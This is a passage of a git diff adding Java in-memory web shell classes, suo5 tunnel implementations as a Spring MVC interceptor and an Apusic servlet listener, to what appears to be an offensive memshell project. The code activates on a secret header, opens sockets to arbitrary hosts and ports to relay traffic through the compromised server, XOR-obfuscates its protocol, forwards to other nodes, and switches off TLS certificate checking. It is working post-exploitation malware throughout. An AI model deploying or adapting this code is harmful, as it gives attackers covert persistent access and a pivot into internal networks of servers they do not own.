e.toString()); +// e.printStackTrace(); + } finally { + if (sc != null) { + sc.close(); + } + if (conn != null) { + conn.disconnect(); + } + respOutStream.close(); + this.remove(clientId); + } + } + + public void run() { + try { + readSocket(gInStream, gOutStream, true); + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + } + + static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + return addrs; + } + + boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + byte[] newBody = marshal(dataMap); + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equals("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(newBody.length)); + continue; + } else if (k.equals("Host")) { + conn.setRequestProperty(k, u.getHost()); + continue; + } else if (k.equals("Connection")) { + conn.setRequestProperty(k, "close"); + continue; + } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(newBody); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } +} diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/suo5/Suo5Interceptor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/suo5/Suo5Interceptor.java new file mode 100644 index 00000000..70f93081 --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/suo5/Suo5Interceptor.java @@ -0,0 +1,582 @@ +package com.reajason.javaweb.memshell.springwebmvc.suo5; + +import org.springframework.web.servlet.AsyncHandlerInterceptor; +import org.springframework.web.servlet.ModelAndView; + +import javax.net.ssl.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.net.*; +import java.nio.ByteBuffer; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.Enumeration; +import java.util.HashMap; + +/** + * @author ReaJason + */ +public class Suo5Interceptor implements AsyncHandlerInterceptor, Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + public static HashMap addrs = collectAddr(); + public static HashMap ctx = new HashMap(); + InputStream gInStream; + OutputStream gOutStream; + + public Suo5Interceptor() { + } + + public Suo5Interceptor(InputStream gInStream, OutputStream gOutStream) { + this.gInStream = gInStream; + this.gOutStream = gOutStream; + } + + @Override + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + String contentType = request.getContentType(); + if (contentType == null) { + return true; + } + try { + if (contentType.equals("application/plain")) { + tryFullDuplex(request, response); + return false; + } + + if (contentType.equals("application/octet-stream")) { + processDataBio(request, response); + } else { + processDataUnary(request, response); + } + } catch (Throwable e) { +// System.out.printf("process data error %s\n", e); +// e.printStackTrace(); + } + return false; + } + } catch (Exception e) { + e.printStackTrace(); + } + return true; + } + + @Override + public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { + + } + + @Override + public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { + + } + + @Override + public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + + } + + + public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) break; + bufferOffset += readResult; + } + } + + public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { + InputStream in = request.getInputStream(); + byte[] data = new byte[32]; + readFull(in, data); + OutputStream out = response.getOutputStream(); + out.write(data); + out.flush(); + } + + + private HashMap newCreate(byte s) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x04}); + m.put("s", new byte[]{s}); + return m; + } + + private HashMap newData(byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + return m; + } + + private HashMap newDel() { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + return m; + } + + private HashMap newStatus(byte b) { + HashMap m = new HashMap(); + m.put("s", new byte[]{b}); + return m; + } + + byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + synchronized void put(String k, Object v) { + ctx.put(k, v); + } + + synchronized Object get(String k) { + return ctx.get(k); + } + + synchronized Object remove(String k) { + return ctx.remove(k); + } + + byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + + private byte[] marshal(HashMap m) throws IOException { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + byte[] data = buf.toByteArray(); + ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); + dbuf.putInt(data.length); + // xor key + byte key = (byte) ((Math.random() * 255) + 1); + dbuf.put(key); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key); + } + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshal(InputStream in) throws Exception { + byte[] header = new byte[4 + 1]; // size and datatype + readFull(in, header); + // read full + ByteBuffer bb = ByteBuffer.wrap(header); + int len = bb.getInt(); + int x = bb.get(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ x); + } + HashMap m = new HashMap(); + byte[] buf; + for (int i = 0; i < bs.length - 1; ) { + short kLen = bs[i]; + i += 1; + if (i + kLen >= bs.length) { + throw new Exception("key len error"); + } + if (kLen < 0) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 >= bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { + final InputStream reqInputStream = request.getInputStream(); + HashMap dataMap = unmarshal(reqInputStream); + + byte[] action = (byte[]) dataMap.get("ac"); + if (action.length != 1 || action[0] != 0x00) { + resp.setStatus(403); + return; + } + resp.setBufferSize(512); + final OutputStream respOutStream = resp.getOutputStream(); + + // 0x00 create socket + resp.setHeader("X-Accel-Buffering", "no"); + Socket sc; + try { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + // Cannot convert Integer to int + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + } catch (Exception e) { + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + + final OutputStream scOutStream = sc.getOutputStream(); + final InputStream scInStream = sc.getInputStream(); + + Thread t = null; + try { + Suo5Interceptor p = new Suo5Interceptor(scInStream, respOutStream); + t = new Thread(p); + t.start(); + readReq(reqInputStream, scOutStream); + } catch (Exception e) { +// System.out.printf("pipe error, %s\n", e); + } finally { + sc.close(); + respOutStream.close(); + if (t != null) { + t.join(); + } + } + } + + private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshal(newData(dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } + + private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { + while (true) { + HashMap dataMap; + dataMap = unmarshal(bufInputStream); + + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + return; + } + byte action = actions[0]; + if (action == 0x02) { + socketOutStream.close(); + return; + } else if (action == 0x01) { + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + socketOutStream.write(data); + socketOutStream.flush(); + } + } else if (action == 0x03) { + continue; + } else { + return; + } + } + } + + private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws + Exception { + InputStream is = request.getInputStream(); + BufferedInputStream reader = new BufferedInputStream(is); + HashMap dataMap; + dataMap = unmarshal(reader); + + + String clientId = new String((byte[]) dataMap.get("id")); + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + resp.setStatus(403); + return; + } + /* + ActionCreate byte = 0x00 + ActionData byte = 0x01 + ActionDelete byte = 0x02 + ActionHeartbeat byte = 0x03 + */ + byte action = actions[0]; + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + String redirectUrl = ""; + if (needRedirect) { + dataMap.remove("r"); + redirectUrl = new String(redirectData); + needRedirect = !isLocalAddr(redirectUrl); + } + // load balance, send request with data to request url + // action 0x00 need to pipe, see below + if (needRedirect && action >= 0x01 && action <= 0x03) { + HttpURLConnection conn = redirect(request, dataMap, redirectUrl); + conn.disconnect(); + return; + } + + resp.setBufferSize(512); + OutputStream respOutStream = resp.getOutputStream(); + if (action == 0x02) { + Object o = this.get(clientId); + if (o == null) return; + OutputStream scOutStream = (OutputStream) o; + scOutStream.close(); + return; + } else if (action == 0x01) { + Object o = this.get(clientId); + if (o == null) { + respOutStream.write(marshal(newDel())); + respOutStream.flush(); + respOutStream.close(); + return; + } + OutputStream scOutStream = (OutputStream) o; + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + respOutStream.close(); + return; + } else { + } + + if (action != 0x00) { + return; + } + // 0x00 create new tunnel + resp.setHeader("X-Accel-Buffering", "no"); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + + InputStream readFrom; + Socket sc = null; + HttpURLConnection conn = null; + + if (needRedirect) { + // pipe redirect stream and current response body + conn = redirect(request, dataMap, redirectUrl); + readFrom = conn.getInputStream(); + } else { + // pipe socket stream and current response body + try { + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + readFrom = sc.getInputStream(); + this.put(clientId, sc.getOutputStream()); + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + } catch (Exception e) { +// System.out.printf("connect error %s\n", e); +// e.printStackTrace(); + this.remove(clientId); + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + } + try { + readSocket(readFrom, respOutStream, !needRedirect); + } catch (Exception e) { +// System.out.println("socket error " + e.toString()); +// e.printStackTrace(); + } finally { + if (sc != null) { + sc.close(); + } + if (conn != null) { + conn.disconnect(); + } + respOutStream.close(); + this.remove(clientId); + } + } + + public void run() { + try { + readSocket(gInStream, gOutStream, true); + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + } + + static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + return addrs; + } + + boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new TrustManager[]{this}, null); + ((HttpsURLConnection) conn).setSSLSocketFactory(sslCtx.getSocketFactory()); + } + + byte[] newBody = marshal(dataMap); + Enumeration headers = request.getHeaderNames(); + while (headers.hasMoreElements()) { + String k = (String) headers.nextElement(); + if (k.equals("Content-Length")) { + conn.setRequestProperty(k, String.valueOf(newBody.length)); + continue; + } else if (k.equals("Host")) { + conn.setRequestProperty(k, u.getHost()); + continue; + } else if (k.equals("Connection")) { + conn.setRequestProperty(k, "close"); + continue; + } else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) { + continue; + } else { + conn.setRequestProperty(k, request.getHeader(k)); + } + } + + OutputStream rout = conn.getOutputStream(); + rout.write(newBody); + rout.flush(); + rout.close(); + conn.getResponseCode(); + return conn; + } + + public boolean verify(String hostname, SSLSession session) { + return true; + } + + public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException { + } + + public X509Certificate[] getAcceptedIssuers() { + return new X509Certificate[0]; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/suo5/Suo5Listener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/suo5/Suo5Listener.java new file mode 100644 index 00000000..d2b10c97 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/suo5/Suo5Listener.java @@ -0,0 +1,597 @@ +package com.reajason.javaweb.memshell.apusic.suo5; + +import javax.net.ssl.*; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.lang.reflect.Field; +import java.net.*; +import java.nio.ByteBuffer; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.util.Enumeration; +import java.util.HashMap; + +/** + * @author ReaJason + * @since 2024/12/15 + */ +public class Suo5Listener implements ServletRequestListener, Runnable, HostnameVerifier, X509TrustManager { + public static String headerName; + public static String headerValue; + public static HashMap addrs = collectAddr(); + public static HashMap ctx = new HashMap(); + + InputStream gInStream; + OutputStream gOutStream; + + public Suo5Listener() { + } + + public Suo5Listener(InputStream in, OutputStream out) { + this.gInStream = in; + this.gOutStream = out; + } + + public void readFull(InputStream is, byte[] b) throws IOException, InterruptedException { + int bufferOffset = 0; + while (bufferOffset < b.length) { + int readLength = b.length - bufferOffset; + int readResult = is.read(b, bufferOffset, readLength); + if (readResult == -1) break; + bufferOffset += readResult; + } + } + + public void tryFullDuplex(HttpServletRequest request, HttpServletResponse response) throws IOException, InterruptedException { + InputStream in = request.getInputStream(); + byte[] data = new byte[32]; + readFull(in, data); + OutputStream out = response.getOutputStream(); + out.write(data); + out.flush(); + } + + + private HashMap newCreate(byte s) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x04}); + m.put("s", new byte[]{s}); + return m; + } + + private HashMap newData(byte[] data) { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x01}); + m.put("dt", data); + return m; + } + + private HashMap newDel() { + HashMap m = new HashMap(); + m.put("ac", new byte[]{0x02}); + return m; + } + + private HashMap newStatus(byte b) { + HashMap m = new HashMap(); + m.put("s", new byte[]{b}); + return m; + } + + byte[] u32toBytes(int i) { + byte[] result = new byte[4]; + result[0] = (byte) (i >> 24); + result[1] = (byte) (i >> 16); + result[2] = (byte) (i >> 8); + result[3] = (byte) (i /*>> 0*/); + return result; + } + + int bytesToU32(byte[] bytes) { + return ((bytes[0] & 0xFF) << 24) | + ((bytes[1] & 0xFF) << 16) | + ((bytes[2] & 0xFF) << 8) | + ((bytes[3] & 0xFF) << 0); + } + + synchronized void put(String k, Object v) { + ctx.put(k, v); + } + + synchronized Object get(String k) { + return ctx.get(k); + } + + synchronized Object remove(String k) { + return ctx.remove(k); + } + + byte[] copyOfRange(byte[] original, int from, int to) { + int newLength = to - from; + if (newLength < 0) { + throw new IllegalArgumentException(from + " > " + to); + } + byte[] copy = new byte[newLength]; + int copyLength = Math.min(original.length - from, newLength); + // can't use System.arraycopy of Arrays.copyOf, there is no system in some environment + // System.arraycopy(original, from, copy, 0, copyLength); + for (int i = 0; i < copyLength; i++) { + copy[i] = original[from + i]; + } + return copy; + } + + + private byte[] marshal(HashMap m) throws IOException { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + Object[] keys = m.keySet().toArray(); + for (int i = 0; i < keys.length; i++) { + String key = (String) keys[i]; + byte[] value = (byte[]) m.get(key); + buf.write((byte) key.length()); + buf.write(key.getBytes()); + buf.write(u32toBytes(value.length)); + buf.write(value); + } + + byte[] data = buf.toByteArray(); + ByteBuffer dbuf = ByteBuffer.allocate(5 + data.length); + dbuf.putInt(data.length); + // xor key + byte key = (byte) ((Math.random() * 255) + 1); + dbuf.put(key); + for (int i = 0; i < data.length; i++) { + data[i] = (byte) (data[i] ^ key); + } + dbuf.put(data); + return dbuf.array(); + } + + private HashMap unmarshal(InputStream in) throws Exception { + byte[] header = new byte[4 + 1]; // size and datatype + readFull(in, header); + // read full + ByteBuffer bb = ByteBuffer.wrap(header); + int len = bb.getInt(); + int x = bb.get(); + if (len > 1024 * 1024 * 32) { + throw new IOException("invalid len"); + } + byte[] bs = new byte[len]; + readFull(in, bs); + for (int i = 0; i < bs.length; i++) { + bs[i] = (byte) (bs[i] ^ x); + } + HashMap m = new HashMap(); + byte[] buf; + for (int i = 0; i < bs.length - 1; ) { + short kLen = bs[i]; + i += 1; + if (i + kLen >= bs.length) { + throw new Exception("key len error"); + } + if (kLen < 0) { + throw new Exception("key len error"); + } + buf = copyOfRange(bs, i, i + kLen); + String key = new String(buf); + i += kLen; + + if (i + 4 >= bs.length) { + throw new Exception("value len error"); + } + buf = copyOfRange(bs, i, i + 4); + int vLen = bytesToU32(buf); + i += 4; + if (vLen < 0) { + throw new Exception("value error"); + } + + if (i + vLen > bs.length) { + throw new Exception("value error"); + } + byte[] value = copyOfRange(bs, i, i + vLen); + i += vLen; + + m.put(key, value); + } + return m; + } + + private void processDataBio(HttpServletRequest request, HttpServletResponse resp) throws Exception { + final InputStream reqInputStream = request.getInputStream(); + HashMap dataMap = unmarshal(reqInputStream); + + byte[] action = (byte[]) dataMap.get("ac"); + if (action.length != 1 || action[0] != 0x00) { + resp.setStatus(403); + return; + } + resp.setBufferSize(512); + final OutputStream respOutStream = resp.getOutputStream(); + + // 0x00 create socket + resp.setHeader("X-Accel-Buffering", "no"); + Socket sc; + try { + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + // Cannot convert Integer to int + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + } catch (Exception e) { + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + + final OutputStream scOutStream = sc.getOutputStream(); + final InputStream scInStream = sc.getInputStream(); + + Thread t = null; + try { + Suo5Listener p = new Suo5Listener(scInStream, respOutStream); + t = new Thread(p); + t.start(); + readReq(reqInputStream, scOutStream); + } catch (Exception e) { +// System.out.printf("pipe error, %s\n", e); + } finally { + sc.close(); + respOutStream.close(); + if (t != null) { + t.join(); + } + } + } + + private void readSocket(InputStream inputStream, OutputStream outputStream, boolean needMarshal) throws IOException { + byte[] readBuf = new byte[1024 * 8]; + while (true) { + int n = inputStream.read(readBuf); + if (n <= 0) { + break; + } + byte[] dataTmp = copyOfRange(readBuf, 0, 0 + n); + if (needMarshal) { + dataTmp = marshal(newData(dataTmp)); + } + outputStream.write(dataTmp); + outputStream.flush(); + } + } + + private void readReq(InputStream bufInputStream, OutputStream socketOutStream) throws Exception { + while (true) { + HashMap dataMap; + dataMap = unmarshal(bufInputStream); + + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + return; + } + byte action = actions[0]; + if (action == 0x02) { + socketOutStream.close(); + return; + } else if (action == 0x01) { + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + socketOutStream.write(data); + socketOutStream.flush(); + } + } else if (action == 0x03) { + continue; + } else { + return; + } + } + } + + private void processDataUnary(HttpServletRequest request, HttpServletResponse resp) throws + Exception { + InputStream is = request.getInputStream(); + BufferedInputStream reader = new BufferedInputStream(is); + HashMap dataMap; + dataMap = unmarshal(reader); + + + String clientId = new String((byte[]) dataMap.get("id")); + byte[] actions = (byte[]) dataMap.get("ac"); + if (actions.length != 1) { + resp.setStatus(403); + return; + } + /* + ActionCreate byte = 0x00 + ActionData byte = 0x01 + ActionDelete byte = 0x02 + ActionHeartbeat byte = 0x03 + */ + byte action = actions[0]; + byte[] redirectData = (byte[]) dataMap.get("r"); + boolean needRedirect = redirectData != null && redirectData.length > 0; + String redirectUrl = ""; + if (needRedirect) { + dataMap.remove("r"); + redirectUrl = new String(redirectData); + needRedirect = !isLocalAddr(redirectUrl); + } + // load balance, send request with data to request url + // action 0x00 need to pipe, see below + if (needRedirect && action >= 0x01 && action <= 0x03) { + HttpURLConnection conn = redirect(request, dataMap, redirectUrl); + conn.disconnect(); + return; + } + + resp.setBufferSize(512); + OutputStream respOutStream = resp.getOutputStream(); + if (action == 0x02) { + Object o = this.get(clientId); + if (o == null) return; + OutputStream scOutStream = (OutputStream) o; + scOutStream.close(); + return; + } else if (action == 0x01) { + Object o = this.get(clientId); + if (o == null) { + respOutStream.write(marshal(newDel())); + respOutStream.flush(); + respOutStream.close(); + return; + } + OutputStream scOutStream = (OutputStream) o; + byte[] data = (byte[]) dataMap.get("dt"); + if (data.length != 0) { + scOutStream.write(data); + scOutStream.flush(); + } + respOutStream.close(); + return; + } else { + } + + if (action != 0x00) { + return; + } + // 0x00 create new tunnel + resp.setHeader("X-Accel-Buffering", "no"); + String host = new String((byte[]) dataMap.get("h")); + int port = Integer.parseInt(new String((byte[]) dataMap.get("p"))); + if (port == 0) { + try { + port = ((Integer) request.getClass().getMethod("getLocalPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } catch (Exception e) { + port = ((Integer) request.getClass().getMethod("getServerPort", new Class[]{}).invoke(request, new Object[]{})).intValue(); + } + } + + InputStream readFrom; + Socket sc = null; + HttpURLConnection conn = null; + + if (needRedirect) { + // pipe redirect stream and current response body + conn = redirect(request, dataMap, redirectUrl); + readFrom = conn.getInputStream(); + } else { + // pipe socket stream and current response body + try { + sc = new Socket(); + sc.connect(new InetSocketAddress(host, port), 5000); + readFrom = sc.getInputStream(); + this.put(clientId, sc.getOutputStream()); + respOutStream.write(marshal(newStatus((byte) 0x00))); + respOutStream.flush(); + resp.flushBuffer(); + } catch (Exception e) { +// System.out.printf("connect error %s\n", e); +// e.printStackTrace(); + this.remove(clientId); + respOutStream.write(marshal(newStatus((byte) 0x01))); + respOutStream.flush(); + respOutStream.close(); + return; + } + } + try { + readSocket(readFrom, respOutStream, !needRedirect); + } catch (Exception e) { +// System.out.println("socket error " + e.toString()); +// e.printStackTrace(); + } finally { + if (sc != null) { + sc.close(); + } + if (conn != null) { + conn.disconnect(); + } + respOutStream.close(); + this.remove(clientId); + } + } + + public void run() { + try { + readSocket(gInStream, gOutStream, true); + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + } + + static HashMap collectAddr() { + HashMap addrs = new HashMap(); + try { + Enumeration nifs = NetworkInterface.getNetworkInterfaces(); + while (nifs.hasMoreElements()) { + NetworkInterface nif = (NetworkInterface) nifs.nextElement(); + Enumeration addresses = nif.getInetAddresses(); + while (addresses.hasMoreElements()) { + InetAddress addr = (InetAddress) addresses.nextElement(); + String s = addr.getHostAddress(); + if (s != null) { + // fe80:0:0:0:fb0d:5776:2d7c:da24%wlan4 strip %wlan4 + int ifaceIndex = s.indexOf('%'); + if (ifaceIndex != -1) { + s = s.substring(0, ifaceIndex); + } + addrs.put((Object) s, (Object) Boolean.TRUE); + } + } + } + } catch (Exception e) { +// System.out.printf("read socket error, %s\n", e); +// e.printStackTrace(); + } + return addrs; + } + + boolean isLocalAddr(String url) throws Exception { + String ip = (new URL(url)).getHost(); + return addrs.containsKey(ip); + } + + HttpURLConnection redirect(HttpServletRequest request, HashMap dataMap, String rUrl) throws Exception { + String method = request.getMethod(); + URL u = new URL(rUrl); + HttpURLConnection conn = (HttpURLConnection) u.openConnection(); + conn.setRequestMethod(method); + try { + // conn.setConnectTimeout(3000); + conn.getClass().getMethod("setConnectTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(3000)}); + // conn.setReadTimeout(0); + conn.getClass().getMethod("setReadTimeout", new Class[]{int.class}).invoke(conn, new Object[]{new Integer(0)}); + } catch (Exception e) { + // java1.4 + } + conn.setDoOutput(true); + conn.setDoInput(true); + + // ignore ssl verify + // ref: https://github.com/L-codes/Neo-reGeorg/blob/master/templates/NeoreGeorg.java + if (HttpsURLConnection.class.isInstance(conn)) { + ((HttpsURLConnection) conn).setHostnameVerifier(this); + SSLContext sslCtx = SSLContext.getInstance("SSL"); + sslCtx.init(null, new 